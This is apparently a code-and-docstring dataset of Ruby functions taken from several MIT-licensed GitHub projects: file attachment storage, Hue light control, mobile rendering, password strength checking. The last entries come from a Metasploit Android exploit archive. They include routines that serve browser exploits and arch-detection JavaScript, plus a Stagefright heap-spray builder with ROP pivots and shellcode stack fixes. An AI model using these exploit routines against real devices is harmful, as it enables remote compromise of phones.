RAILS_ROOT/public/my_models/5/blah.jpg
Overwrite this method in your model to customize the filename.
The optional thumbnail argument will output the thumbnail's filename.
|
full_filename
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def base_path
@base_path ||= File.join(RAILS_ROOT, 'public')
end
|
Used as the base path that #public_filename strips off full_filename to create the public path
|
base_path
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def attachment_path_id
((respond_to?(:parent_id) && parent_id) || id) || 0
end
|
The attachment ID used in the full path of a file
|
attachment_path_id
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def partitioned_path(*args)
if respond_to?(:attachment_options) && attachment_options[:partition] == false
args
elsif attachment_options[:uuid_primary_key]
# Primary key is a 128-bit UUID in hex format. Split it into 2 components.
path_id = attachment_path_id.to_s
component1 = path_id[0..15] || "-"
component2 = path_id[16..-1] || "-"
[component1, component2] + args
else
path_id = attachment_path_id
if path_id.is_a?(Integer)
# Primary key is an integer. Split it after padding it with 0.
("%08d" % path_id).scan(/..../) + args
else
# Primary key is a String. Hash it, then split it into 4 components.
hash = Digest::SHA512.hexdigest(path_id.to_s)
[hash[0..31], hash[32..63], hash[64..95], hash[96..127]] + args
end
end
end
|
Partitions the given path into an array of path components.
For example, given an <tt>*args</tt> of ["foo", "bar"], it will return
<tt>["0000", "0001", "foo", "bar"]</tt> (assuming that that id returns 1).
If the id is not an integer, then path partitioning will be performed by
hashing the string value of the id with SHA-512, and splitting the result
into 4 components. If the id a 128-bit UUID (as set by :uuid_primary_key => true)
then it will be split into 2 components.
To turn this off entirely, set :partition => false.
|
partitioned_path
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def public_filename(thumbnail = nil)
full_filename(thumbnail).gsub %r(^#{Regexp.escape(base_path)}), ''
end
|
Gets the public path to the file
The optional thumbnail argument will output the thumbnail's filename.
|
public_filename
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def create_temp_file
copy_to_temp_file full_filename
end
|
Creates a temp file from the currently saved file.
|
create_temp_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def destroy_file
FileUtils.rm full_filename
# remove directory also if it is now empty
Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?
rescue
logger.info "Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}"
logger.warn $!.backtrace.collect { |b| " > #{b}" }.join("\n")
end
|
Destroys the file. Called in the after_destroy callback
|
destroy_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def rename_file
return unless @old_filename && @old_filename != full_filename
if save_attachment? && File.exists?(@old_filename)
FileUtils.rm @old_filename
elsif File.exists?(@old_filename)
FileUtils.mv @old_filename, full_filename
end
@old_filename = nil
true
end
|
Renames the given file before saving
|
rename_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def save_to_storage
if save_attachment?
# TODO: This overwrites the file if it exists, maybe have an allow_overwrite option?
FileUtils.mkdir_p(File.dirname(full_filename))
FileUtils.cp(temp_path, full_filename)
FileUtils.chmod(attachment_options[:chmod] || 0644, full_filename)
end
@old_filename = nil
true
end
|
Saves the file to the file system
|
save_to_storage
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/file_system_backend.rb
|
MIT
|
def attachment_path_id
((respond_to?(:parent_id) && parent_id) || id).to_s
end
|
The attachment ID used in the full path of a file
|
attachment_path_id
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
MIT
|
def base_path
File.join(attachment_options[:path_prefix], attachment_path_id)
end
|
The pseudo hierarchy containing the file relative to the bucket name
Example: <tt>:table_name/:id</tt>
|
base_path
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
MIT
|
def full_filename(thumbnail = nil)
File.join(base_path, thumbnail_name_for(thumbnail))
end
|
The full path to the file relative to the bucket name
Example: <tt>:table_name/:id/:filename</tt>
|
full_filename
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
MIT
|
def s3_url(thumbnail = nil)
File.join(s3_protocol + s3_hostname + s3_port_string, bucket_name, full_filename(thumbnail))
end
|
All public objects are accessible via a GET request to the S3 servers. You can generate a
url for an object using the s3_url method.
@photo.s3_url
The resulting url is in the form: <tt>http(s)://:server/:bucket_name/:table_name/:id/:file</tt> where
the <tt>:server</tt> variable defaults to <tt>AWS::S3 URL::DEFAULT_HOST</tt> (s3.amazonaws.com) and can be
set using the configuration parameters in <tt>RAILS_ROOT/config/amazon_s3.yml</tt>.
The optional thumbnail argument will output the thumbnail's filename (if any).
|
s3_url
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
MIT
|
def cloudfront_url(thumbnail = nil)
"http://" + cloudfront_distribution_domain + "/" + full_filename(thumbnail)
end
|
All public objects are accessible via a GET request to CloudFront. You can generate a
url for an object using the cloudfront_url method.
@photo.cloudfront_url
The resulting url is in the form: <tt>http://:distribution_domain/:table_name/:id/:file</tt> using
the <tt>:distribution_domain</tt> variable set in the configuration parameters in <tt>RAILS_ROOT/config/amazon_s3.yml</tt>.
The optional thumbnail argument will output the thumbnail's filename (if any).
|
cloudfront_url
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
MIT
|
def authenticated_s3_url(*args)
options = args.extract_options!
options[:expires_in] = options[:expires_in].to_i if options[:expires_in]
thumbnail = args.shift
S3Object.url_for(full_filename(thumbnail), bucket_name, options)
end
|
All private objects are accessible via an authenticated GET request to the S3 servers. You can generate an
authenticated url for an object like this:
@photo.authenticated_s3_url
By default authenticated urls expire 5 minutes after they were generated.
Expiration options can be specified either with an absolute time using the <tt>:expires</tt> option,
or with a number of seconds relative to now with the <tt>:expires_in</tt> option:
# Absolute expiration date (October 13th, 2025)
@photo.authenticated_s3_url(:expires => Time.mktime(2025,10,13).to_i)
# Expiration in five hours from now
@photo.authenticated_s3_url(:expires_in => 5.hours)
You can specify whether the url should go over SSL with the <tt>:use_ssl</tt> option.
By default, the ssl settings for the current connection will be used:
@photo.authenticated_s3_url(:use_ssl => true)
Finally, the optional thumbnail argument will output the thumbnail's filename (if any):
@photo.authenticated_s3_url('thumbnail', :expires_in => 5.hours, :use_ssl => true)
|
authenticated_s3_url
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/s3_backend.rb
|
MIT
|
def resize_image(img, size)
processor = ::RedArtisan::CoreImage::Processor.new(img)
size = size.first if size.is_a?(Array) && size.length == 1
if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))
if size.is_a?(Fixnum)
processor.fit(size)
else
processor.resize(size[0], size[1])
end
else
new_size = [img.extent.size.width, img.extent.size.height] / size.to_s
processor.resize(new_size[0], new_size[1])
end
processor.render do |result|
self.width = result.extent.size.width if respond_to?(:width)
self.height = result.extent.size.height if respond_to?(:height)
# Get a new temp_path for the image before saving
temp_paths.unshift Tempfile.new(random_tempfile_filename, Technoweenie::AttachmentFu.tempfile_path).path
result.save self.temp_path, OSX::NSJPEGFileType
self.size = File.size(self.temp_path)
end
end
|
Performs the actual resizing operation for a thumbnail
|
resize_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/core_image_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/core_image_processor.rb
|
MIT
|
def with_image(file, &block)
im = GD2::Image.import(file)
block.call(im)
end
|
Yields a block containing a GD2 Image for the given binary data.
|
with_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/gd2_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/gd2_processor.rb
|
MIT
|
def resize_image(img, size)
size = size.first if size.is_a?(Array) && size.length == 1
if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))
if size.is_a?(Fixnum)
# Borrowed from image science's #thumbnail method and adapted
# for this.
scale = size.to_f / (img.width > img.height ? img.width.to_f : img.height.to_f)
img.resize!((img.width * scale).round(1), (img.height * scale).round(1), false)
else
img.resize!(size.first, size.last, false)
end
else
w, h = [img.width, img.height] / size.to_s
img.resize!(w, h, false)
end
temp_paths.unshift random_tempfile_filename
self.size = img.export(self.temp_path)
end
|
Performs the actual resizing operation for a thumbnail
|
resize_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/gd2_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/gd2_processor.rb
|
MIT
|
def with_image(file, &block)
::ImageScience.with_image file, &block
end
|
Yields a block containing an Image Science image for the given binary data.
|
with_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/image_science_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/image_science_processor.rb
|
MIT
|
def resize_image(img, size)
# create a dummy temp file to write to
# ImageScience doesn't handle all gifs properly, so it converts them to
# pngs for thumbnails. It has something to do with trying to save gifs
# with a larger palette than 256 colors, which is all the gif format
# supports.
filename.sub! /gif$/, 'png'
content_type.sub!(/gif$/, 'png')
temp_paths.unshift write_to_temp_file(filename)
grab_dimensions = lambda do |img|
self.width = img.width if respond_to?(:width)
self.height = img.height if respond_to?(:height)
img.save self.temp_path
self.size = File.size(self.temp_path)
callback_with_args :after_resize, img
end
size = size.first if size.is_a?(Array) && size.length == 1
if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))
if size.is_a?(Fixnum)
img.thumbnail(size, &grab_dimensions)
else
img.resize(size[0], size[1], &grab_dimensions)
end
else
new_size = [img.width, img.height] / size.to_s
img.resize(new_size[0], new_size[1], &grab_dimensions)
end
end
|
Performs the actual resizing operation for a thumbnail
|
resize_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/image_science_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/image_science_processor.rb
|
MIT
|
def with_image(file, &block)
begin
binary_data = file.is_a?(MiniMagick::Image) ? file : MiniMagick::Image.from_file(file) unless !Object.const_defined?(:MiniMagick)
rescue
# Log the failure to load the image.
logger.debug("Exception working with image: #{$!}")
binary_data = nil
end
block.call binary_data if block && binary_data
ensure
!binary_data.nil?
end
|
Yields a block containing an MiniMagick Image for the given binary data.
|
with_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/mini_magick_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/mini_magick_processor.rb
|
MIT
|
def resize_image(img, size)
size = size.first if size.is_a?(Array) && size.length == 1
img.combine_options do |commands|
commands.strip unless attachment_options[:keep_profile]
# gif are not handled correct, this is a hack, but it seems to work.
if img.output =~ / GIF /
img.format("png")
end
if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))
if size.is_a?(Fixnum)
size = [size, size]
commands.resize(size.join('x'))
else
commands.resize(size.join('x') + '!')
end
# extend to thumbnail size
elsif size.is_a?(String) and size =~ /e$/
size = size.gsub(/e/, '')
commands.resize(size.to_s + '>')
commands.background('#ffffff')
commands.gravity('center')
commands.extent(size)
# crop thumbnail, the smart way
elsif size.is_a?(String) and size =~ /c$/
size = size.gsub(/c/, '')
# calculate sizes and aspect ratio
thumb_width, thumb_height = size.split("x")
thumb_width = thumb_width.to_f
thumb_height = thumb_height.to_f
thumb_aspect = thumb_width.to_f / thumb_height.to_f
image_width, image_height = img[:width].to_f, img[:height].to_f
image_aspect = image_width / image_height
# only crop if image is not smaller in both dimensions
unless image_width < thumb_width and image_height < thumb_height
command = calculate_offset(image_width,image_height,image_aspect,thumb_width,thumb_height,thumb_aspect)
# crop image
commands.extract(command)
end
# don not resize if image is not as height or width then thumbnail
if image_width < thumb_width or image_height < thumb_height
commands.background('#ffffff')
commands.gravity('center')
commands.extent(size)
# resize image
else
commands.resize("#{size.to_s}")
end
# crop end
else
commands.resize(size.to_s)
end
end
temp_paths.unshift img
end
|
Performs the actual resizing operation for a thumbnail
|
resize_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/mini_magick_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/mini_magick_processor.rb
|
MIT
|
def with_image(file, &block)
begin
binary_data = file.is_a?(Magick::Image) ? file : Magick::Image.read(file).first unless !Object.const_defined?(:Magick)
rescue
# Log the failure to load the image. This should match ::Magick::ImageMagickError
# but that would cause acts_as_attachment to require rmagick.
logger.debug("Exception working with image: #{$!}")
binary_data = nil
end
block.call binary_data if block && binary_data
ensure
!binary_data.nil?
end
|
Yields a block containing an RMagick Image for the given binary data.
|
with_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/rmagick_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/rmagick_processor.rb
|
MIT
|
def resize_image(img, size)
size = size.first if size.is_a?(Array) && size.length == 1 && !size.first.is_a?(Fixnum)
if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))
size = [size, size] if size.is_a?(Fixnum)
img.thumbnail!(*size)
elsif size.is_a?(String) && size =~ /^c.*$/ # Image cropping - example geometry string: c75x75
dimensions = size[1..size.size].split("x")
img.crop_resized!(dimensions[0].to_i, dimensions[1].to_i)
else
img.change_geometry(size.to_s) { |cols, rows, image| image.resize!(cols<1 ? 1 : cols, rows<1 ? 1 : rows) }
end
img.strip! unless attachment_options[:keep_profile]
temp_paths.unshift write_to_temp_file(img.to_blob)
end
|
Performs the actual resizing operation for a thumbnail
|
resize_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/processors/rmagick_processor.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/processors/rmagick_processor.rb
|
MIT
|
def test_should_crop_image_right(klass = ImageThumbnailCrop)
@@testcases.collect do |testcase|
image_width, image_height, thumb_width, thumb_height = testcase[:data]
image_aspect, thumb_aspect = image_width/image_height, thumb_width/thumb_height
crop_comand = klass.calculate_offset(image_width, image_height, image_aspect, thumb_width, thumb_height,thumb_aspect)
# pattern matching on crop command
if testcase.has_key?(:height)
assert crop_comand.match(/^#{image_width}x#{testcase[:height]}\+0\+#{testcase[:yoffset]}$/)
else
assert crop_comand.match(/^#{testcase[:width]}x#{image_height}\+#{testcase[:xoffset]}\+0$/)
end
end
end
|
tests the first step in resize, crop the image in original size to right format
|
test_should_crop_image_right
|
ruby
|
technoweenie/attachment_fu
|
test/processors/mini_magick_test.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/test/processors/mini_magick_test.rb
|
MIT
|
def utc
json = get_configuration
DateTime.parse(json["utc"])
end
|
Current time stored on the bridge.
|
utc
|
ruby
|
soffes/hue
|
lib/hue/bridge.rb
|
https://github.com/soffes/hue/blob/master/lib/hue/bridge.rb
|
MIT
|
def link_button_pressed?
json = get_configuration
json["linkbutton"]
end
|
Indicates whether the link button has been pressed within the last 30
seconds.
|
link_button_pressed?
|
ruby
|
soffes/hue
|
lib/hue/bridge.rb
|
https://github.com/soffes/hue/blob/master/lib/hue/bridge.rb
|
MIT
|
def has_portal_services?
json = get_configuration
json["portalservices"]
end
|
This indicates whether the bridge is registered to synchronize data with a
portal account.
|
has_portal_services?
|
ruby
|
soffes/hue
|
lib/hue/bridge.rb
|
https://github.com/soffes/hue/blob/master/lib/hue/bridge.rb
|
MIT
|
def toggle!
if @on
off!
else
on!
end
end
|
Turn the light on if it's off and vice versa
|
toggle!
|
ruby
|
soffes/hue
|
lib/hue/editable_state.rb
|
https://github.com/soffes/hue/blob/master/lib/hue/editable_state.rb
|
MIT
|
def find_template(views, name, engine)
if env['rack.jpmobile'] && !env['rack.jpmobile'].variants.empty?
env['rack.jpmobile'].variants.each do |variant|
yield ::File.join(views, "#{name}_#{variant}.#{@preferred_extension}")
end
end
super
end
|
Calls the given block for every possible template file in views,
named name.ext, where ext is registered on engine.
|
find_template
|
ruby
|
jpmobile/jpmobile
|
lib/jpmobile/sinatra.rb
|
https://github.com/jpmobile/jpmobile/blob/master/lib/jpmobile/sinatra.rb
|
MIT
|
def to_mail_subject(str)
Jpmobile::Util.fold_text(Jpmobile::Emoticon.unicodecr_to_utf8(str)).
map {|text| "=?#{mail_charset}?B?" + [to_mail_encoding(text)].pack('m').delete("\n") + '?=' }.
join("\n\s")
end
|
(charset.nil? or charset == "") ? self.class::MAIL_CHARSET : charset
|
to_mail_subject
|
ruby
|
jpmobile/jpmobile
|
lib/jpmobile/mobile/abstract_mobile.rb
|
https://github.com/jpmobile/jpmobile/blob/master/lib/jpmobile/mobile/abstract_mobile.rb
|
MIT
|
def validates_password_strength(*attr_names)
validates_with PasswordStrengthValidator, _merge_attributes(attr_names)
end
|
class User < ActiveRecord::Base
validates_password_strength :password
validates_password_strength :password, extra_dictionary_words: :extra_words
end
|
validates_password_strength
|
ruby
|
bdmac/strong_password
|
lib/active_model/validations/password_strength_validator.rb
|
https://github.com/bdmac/strong_password/blob/master/lib/active_model/validations/password_strength_validator.rb
|
MIT
|
def adjusted_entropy(password)
base_password = password.downcase
min_entropy = EntropyCalculator.calculate(base_password)
# Process the passwords, while looking for possible matching words in the dictionary.
PasswordVariants.all_variants(base_password).inject( min_entropy ) do |min_entropy, variant|
[ min_entropy, EntropyCalculator.calculate( variant.sub( dictionary_words, '*' ) ) ].min
end
end
|
Returns the minimum entropy for the passwords dictionary adjustments.
If a threshhold is specified we will bail early to avoid unnecessary
processing.
Note that we only check for the first matching word up to the threshhold if set.
Subsequent matching words are not deductd.
|
adjusted_entropy
|
ruby
|
bdmac/strong_password
|
lib/strong_password/dictionary_adjuster.rb
|
https://github.com/bdmac/strong_password/blob/master/lib/strong_password/dictionary_adjuster.rb
|
MIT
|
def entropy_for(char)
ordinal_value = char.ord
char_multiplier[ordinal_value] ||= BASE_VALUE
char_value = char_multiplier[ordinal_value]
# Weaken the value of this character for future occurrances
char_multiplier[ordinal_value] = char_multiplier[ordinal_value] * REPEAT_WEAKENING_FACTOR
return char_value
end
|
Returns the current entropy value for a character and weakens the entropy
for future calls for the same character.
|
entropy_for
|
ruby
|
bdmac/strong_password
|
lib/strong_password/entropy_calculator.rb
|
https://github.com/bdmac/strong_password/blob/master/lib/strong_password/entropy_calculator.rb
|
MIT
|
def adjusted_entropy(base_password)
revpassword = base_password.reverse
lowest_entropy = [EntropyCalculator.calculate(base_password), EntropyCalculator.calculate(revpassword)].min
# If our entropy is already lower than we care about then there's no reason to look further.
return lowest_entropy if lowest_entropy < entropy_threshhold
qpassword = mask_qwerty_strings(base_password)
lowest_entropy = [lowest_entropy, EntropyCalculator.calculate(qpassword)].min if qpassword != base_password
# Bail early if our entropy on the base password's masked qwerty value is less than our threshold.
return lowest_entropy if lowest_entropy < entropy_threshhold
qrevpassword = mask_qwerty_strings(revpassword)
lowest_entropy = [lowest_entropy, EntropyCalculator.calculate(qrevpassword)].min if qrevpassword != revpassword
lowest_entropy
end
|
Returns the minimum entropy for the password's qwerty locality
adjustments. If a threshhold is specified we will bail
early to avoid unnecessary processing.
|
adjusted_entropy
|
ruby
|
bdmac/strong_password
|
lib/strong_password/qwerty_adjuster.rb
|
https://github.com/bdmac/strong_password/blob/master/lib/strong_password/qwerty_adjuster.rb
|
MIT
|
def initialize(string)
@wrapped_string = string.to_s.dup
tidy_bytes!
normalize_utf8!
end
|
@param string [#to_s] The string to use as the basis of the Identifier.
|
initialize
|
ruby
|
norman/babosa
|
lib/babosa/identifier.rb
|
https://github.com/norman/babosa/blob/master/lib/babosa/identifier.rb
|
MIT
|
def on_request_uri(cli, req)
if req.uri =~ /\.js/
serve_static_js(cli, req)
else
super
end
end
|
Hooked to prevent BrowserExploitServer from attempting to do JS detection
on requests for the static javascript file
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/local/41675.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/local/41675.rb
|
MIT
|
def on_request_exploit(cli, req, browser)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
|
The browser appears to be vulnerable, serve the exploit
|
on_request_exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/local/41675.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/local/41675.rb
|
MIT
|
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' => 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
|
Called when a client requests a .js route.
This is handy for post-XSS.
|
serve_static_js
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/local/41675.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/local/41675.rb
|
MIT
|
def static_arch_detect_js
%Q|
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
|
This is served to requests for the static .js file.
Because we have to use javascript to detect arch, we have 3 different
versions of the static .js file (x86/mips/arm) to choose from. This
small snippet of js detects the arch and requests the correct file.
|
static_arch_detect_js
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/local/41675.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/local/41675.rb
|
MIT
|
def on_request_exploit(cli, req, browser)
print_status "Serving exploit..."
send_response_html(cli, generate_html)
end
|
The browser appears to be vulnerable, serve the exploit
|
on_request_exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/remote/35282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/remote/35282.rb
|
MIT
|
def build_spray(my_target, peer, spray_addr)
# Initialize the page to a reasonable state.
page = ''
page = rand_text(4096)
# Load target-based exploit-specific variables
details = get_details(my_target)
return nil if details.nil?
# Calculate the libstagefright.so base address
vector_rva = details['VectorRVA']
vector_ptr = peer[:vector_vtable_addr]
libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)
# If we smash mDataSource, this ends up controlling the program counter!!
=begin
0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0]
0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0]
0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0]
0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4]
0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28]
0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10]
0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6
0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40
=end
# Initialize our pivot values and adjust them to libstagefright's base.
# First, load r0 (pointer to our buffer) into some register..
mds_pivot1 = libsf_base + details['Pivot1']
# Next, load sp (and probably other stuff) from there
mds_pivot2 = libsf_base + details['Pivot2']
# Finally, skip over some stuff and kick of the ROP chain
mds_adjust = libsf_base + details['Adjust']
# The offset to the ROP change beginning
rop_start_off = 0x30
# Point sp to the remainder of the ROP chain
new_sp = spray_addr + rop_start_off
# Sometimes the spray isn't aligned perfectly, this fixes that situation...
unalign_off = 0x998
new_sp2 = new_sp + 0x1000 - unalign_off
# This pointer should point to the beginning of the shellcode payload
payload_ptr = spray_addr + 0xa0
# Put the stack back!
stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp
# Depending on the pivot strategy in use, we have to set things up slightly
# differently...
#
# In each case, we use a two-stage pivot that reads the spray address from
# r0 (we smashed that, remember).
#
# The addroffs array is used to map values to the offsets where the pivots
# expect them to be.
#
case details['PivotStrategy']
when 'lrx'
addroffs = [
[ 0x0, new_sp ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
]
# Since we are only popping one item in pivot2, we reduce the rop_start_off
rop_start_off -= 4
# Adjust the payload pointer
payload_ptr -= 4
when 'lmy-1'
addroffs = [
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
when 'lmy-2'
ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp
when 'lyz'
ptr_to_mds_pivot2 = spray_addr + 0x8
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
[ 0x24, new_sp ],
# lr is at 0x28!
[ 0x2c, mds_adjust ]
]
# We can't fix it becuse we don't know where the original stack is anymore :-/
stack_fix = ""
when 'sm-g900v'
addroffs = [
[ 0x4, mds_adjust ],
[ 0x10, new_sp ],
[ 0x1c, mds_pivot1 ],
[ 0x20, mds_pivot2 ]
]
else
print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
return nil
end
# We need our ROP to build the page... Create it.
rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })
# Fix up the payload pointer in the ROP
idx = rop.index([ 0xc600613c ].pack('V'))
rop[idx, 4] = [ payload_ptr ].pack('V')
# Insert the ROP
page[rop_start_off, rop.length] = rop
# Insert the special values...
addroffs.each do |ao|
off,addr = ao
page[off,4] = [ addr ].pack('V')
# Sometimes the spray isn't aligned perfectly...
if addr == new_sp
page[off+unalign_off,4] = [ new_sp2 ].pack('V')
else
page[off+unalign_off,4] = [ addr ].pack('V')
end
end
page
end
|
Construct a page worth of data that we'll spray
NOTE: The data within is target-specific
|
build_spray
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/remote/40436.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/remote/40436.rb
|
MIT
|
def get_mp4_leak(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
sampiter_alloc_size = 0x78
sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
sampiter_rounded = jemalloc_round(sampiter_alloc_size)
vector_alloc_size = 0x8c
vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
groom_count = 0x10
is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')
